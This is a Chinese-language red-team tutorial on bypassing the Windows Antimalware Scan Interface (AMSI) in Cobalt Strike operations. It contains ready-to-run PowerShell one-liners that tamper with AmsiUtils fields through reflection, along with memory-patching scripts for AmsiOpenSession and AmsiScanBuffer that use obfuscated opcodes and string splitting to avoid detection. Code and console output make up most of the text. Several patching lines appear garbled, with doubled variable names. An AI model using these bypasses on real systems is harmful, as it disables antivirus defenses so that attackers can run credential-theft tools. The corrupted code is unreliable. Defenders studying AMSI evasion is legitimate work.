反病毒扫描接口
在 Windows 主机上,我们可以通过执行 exe 文件、加载恶意 dll 等行为获得 Beacon 会话,此外,还可以通过一些脚本语言达到相同目的,例如使用 PowerShell IEX 命令将脚本下载到内存中执行,避免文件落地。传统的杀毒软件对此难以检测,而反病毒扫描接口 AMSI 提供了这么一个接口,可以实时捕获多种脚本语言例如 Powershell、JScript、VBScript 以及 .NET 命令等并传给本地杀毒软件检测。
AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly 等命令的时候,操作会被拦截甚至丢失会话。好在的是,不是所有杀毒软件产品都支持 AMSI,并且尽管 Windows Dedender 支持 AMSI,如果用户安装了第三方不支持 AMSI 的安全产品,例如火绒杀毒软件,AMSI 便不可用了。
下图是AMSI被调用的流程图,amsi.dll 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数,例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中,在脚本被执行之前被判断是否是恶意的。
当脚本被启动时,AmsiInitalize 函数被调用,该函数有 2 个参数,分别是应用名称以及该函数执行完毕后被填充的 HAMSICONTEXT 结构体指针 amsiContext。并且 amsiContext 会作为参数传入 AmsiOpenSession 函数,而 AmsiOpenSession 会在调用完成后填充 HAMSISESSION 结构体指针 amsiSession。AmsiScanBuffer 函数接收多个参数,包含了 AmsiInitialize 填充的 参数 amsiContext、缓冲区内容、缓冲区长度、内容标识符、AmsiOpenSession 返回后填充的 amsiSession 参数、以及扫描结果。最终,Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值,1 为非恶意,32768 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。
攻击 AmsiOpenSession()
AmsiOpenSession 函数原型如下:
HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);
该函数只有 2 个参数,其中 amsiContext 是 AmsiInitialize 执行完毕后填充的参数,amsiSession 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编,得到如下的流程图:
虽然我们对 amsiContext 的结构并不了解,但我们能看到 amsiContext 的第 2 个以及第 3 个 qword 分别与 0 比较。此外,RCX 与 RDX 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 mov eax, 0x80070057h 则是将返回值 EAX 设置为参数非法的报错信息。
Name | Description | Value |
---|---|---|
S_OK | Operation successful | 0x00000000 |
E_ABORT | Operation aborted | 0x80004004 |
E_ACCESSDENIED | General access denied error | 0x80070005 |
E_FAIL | Unspecified failure | 0x80004005 |
E_HANDLE | Handle that is not valid | 0x80070006 |
E_INVALIDARG | One or more arguments are not valid | 0x80070057 |
E_NOINTERFACE | No such interface supported | 0x80004002 |
E_NOTIMPL | Not implemented | 0x80004001 |
E_OUTOFMEMORY | Failed to allocate necessary memory | 0x8007000E |
E_POINTER | Pointer that is not valid | 0x80004003 |
E_UNEXPECTED | Unexpected failure | 0x8000FFFF |
总结一下,以下任一情况发生,那么 EAX 值便为 0x80070057h,AmsiOpenSession 函数便会报错从而返回,后面的函数调用自然也不会发生,从而实现 AMSI 绕过。
RDX为0
RCX为0
RCX存储的地址的下一个QWORD为0
RCX存储的地址的下下个QWORD为0
在默认情况下,这 4 个条件是都不满足的,也就是 AmsiOpenSession 是可以正确返回的。
那么,我们可以手动补丁这 4 个值的任意一个。
我们可以使用 PowerShell 单行载荷来实现补丁 amsiContext 结构体中的第 2 个 qword,单行载荷内容如下:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
而这之间的过程是这样的
1:通过GetType() 获得定义了Ref类型的组件里所有的类型的引用
2:在列表中,根据AmsiUtils的属性特征,例如IsPublic=False, IsSerial=False,Name包含 "iUtils"子字符串等,定位到AmsiUtils
同样3:相似的思路方法定位到amsiContext
4:得到amsiContext参数的地址,将结构体中第2个QWORD补丁0
拆分的载荷如下:
PS C:\Users\Administrator> $a=[Ref].Assembly.GetTypes()
PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
False False AmsiUtils System.Object
PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
PS C:\Users\Administrator> $c.GetFields('NonPublic,Static')
Name : amsiContext
MetadataToken : 67114386
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.IntPtr
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
Name : amsiSession
MetadataToken : 67114387
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.IntPtr
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
Name : amsiInitFailed
MetadataToken : 67114388
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.Boolean
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
Name : amsiLockObject
MetadataToken : 67114389
FieldHandle : System.RuntimeFieldHandle
Attributes : Private, Static
FieldType : System.Object
MemberType : Field
ReflectedType : System.Management.Automation.AmsiUtils
DeclaringType : System.Management.Automation.AmsiUtils
Module : System.Management.Automation.dll
IsPublic : False
IsPrivate : True
IsFamily : False
IsAssembly : False
IsFamilyAndAssembly : False
IsFamilyOrAssembly : False
IsStatic : True
IsInitOnly : False
IsLiteral : False
IsNotSerialized : False
IsSpecialName : False
IsPinvokeImpl : False
IsSecurityCritical : True
IsSecuritySafeCritical : False
IsSecurityTransparent : False
CustomAttributes : {}
PS C:\Users\Administrator> $d=$c.GetFields('NonPublic,Static')
PS C:\Users\Administrator> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
PS C:\Users\Administrator> $f.GetValue($null)
1601698866944
PS C:\Users\Administrator> $g=$f.GetValue($null);
PS C:\Users\Administrator> $ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);
PS C:\Users\Administrator> $buf = New-Object byte[](8)
PS C:\Users\Administrator> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
PS C:\Users\Administrator> invoke-mimikatz
invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ invoke-mimikatz
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (invoke-mimikatz:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
如果使用 Windows API 编程来实现将 RCX 赋 0 的话,PowerShell 代码如下:
function CustomGetFunctionLookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*roc*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function CustomGetDeleggetDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcfuncAddr = CustomGetFunctionLookupFunc amsi.dll AmsiOpenSession
$oldProtoldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((CustomGetFunctionLookupFunc kernel32.dll VirtualProtect), (CustomGetDeleggetDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($func,funcAddr, [uint32]5,3, 0x40, [ref]$oldProt)oldProtectionBuffer)
$patbuf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($pat,buf, 0, $func,funcAddr, 3)
运行结果如下所示,依旧成功绕过了 AMSI。
攻击 AmsiInitialize()
AmsiInitialize 的函数原型如下:
HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext
);
该函数也是只有 2 个参数,其中函数执行后被填充的参数为 amsiContext。考虑到 amsiContext 会被传入后续的 AmsiOpenSession 函数作为参数,我们可以在该函数执行完毕后操纵该参数的值。
用 PowerShell 单行载荷的话,原始命令如下:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
因为 "Amsi" 字符串会被识别为恶意内容,我们可以通过在 AmsiOpenSession 部分所使用的技巧来实现混淆,最终的单行载荷为:
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
如图所示,我们成功绕过了 AMSI。
攻击 AmsiScanBuffer()
AmsiScanBuffer 的函数原型如下:
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
该函数有 6 个参数,amsiContext 为 AmsiInitialize 函数执行完毕后填充的参数,buffer 与 length 分别为缓冲区内容与长度,contentName 为内容标识符,amsiSession 是 amsiOpenSession 函数执行完毕后填充的参数,result 是该函数执行完毕后填充的参数,表示被扫描内容的恶意程度。AMSI_RESULT 结构体如下:
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;
使用 IDA 查看该函数的汇编代码与流程图:
从流程图中可见,有诸多的分支可以让函数的执行最终到达 mov eax, 0x80070057 指令。其中一条比较直接的路线如下:
cmp rcx, rax
jz short loc_1800082CA
该指令块将 RAX 与 RCX 进行数值比较,因为 RCX 与 RAX 的值在函数起始处与上述指令之间有被覆盖,所以难以补丁。
RCX 与 RAX 如果不相等,会来到下列指令块。RCX 所储存的地址偏移 0x14 字节处的字节与立即数 4 进行 TEST 操作,即该字节的第 3 位是否被设置。
test byte ptr [rcx+1Ch], 4
jz short loc_1800082CA
操作结果不为 0 的话,流程来到如下指令块:
mov rcx, [rcx+10h]
mov r9, rbx
mov [r11-50h], rbp
mov [r11-58h], r14
mov [rsp+88h+var_60], r8d
mov [r11-68h], rdx
call WPP_SF_qqDqq
该指令块没有跳转,因此继续向下执行,来到下述指令块。之前,RSI 被赋予 RDX 所存储的值,也就是 Buffer 的地址,所以不为 0,那么向下继续执行。
loc_1800082CA:
test rsi, rsi
jz short loc_180008337
如下指令块用于判断 EDI 是否为 0,在之前,EDI 被赋予了存储于 R8D 中的值。那么一切很明显了,如果 R8 为 0,那么就会从这里跳转到 mov eax, 0x80070057 指令。
test edi, edi
jz short loc_180008337
即我们可以在 AmsiScanBuffer 起始位置补丁如下指令实现 AMSI 绕过:
xor r8, r8;
操作码为 4d31c0。但是,这么做会导致 PowerShell 进程崩溃,因此后面指令赋的值在函数后续的执行流程中有被使用。因此,该绕过的路径理论上可行,但脱离 WinDBG 在实际中执行会遇到问题。
我们也可以在函数开头就强制 AmsiScanBuffer 返回 E_INVALIDARG 报错,对应指令为
mov eax, 0x80070057
ret
操作码为 b857000780c3。不过,因为该操作码已经称为 AMSI 绕过的特征之一,所以我们对此稍加混淆:
最终代码如下
function CustomGetFunctionLookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*roc*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function CustomGetDeleggetDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcfuncAddr = CustomGetFunctionLookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtoldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((CustomGetFunctionLookupFunc kernel32.dll VirtualProtect), (CustomGetDeleggetDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($func,funcAddr, [uint32]5,3, 0x40, [ref]$oldProt)oldProtectionBuffer)
$patbuf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($pat,buf, 0, $func,funcAddr, 12)
运行结果如图所示: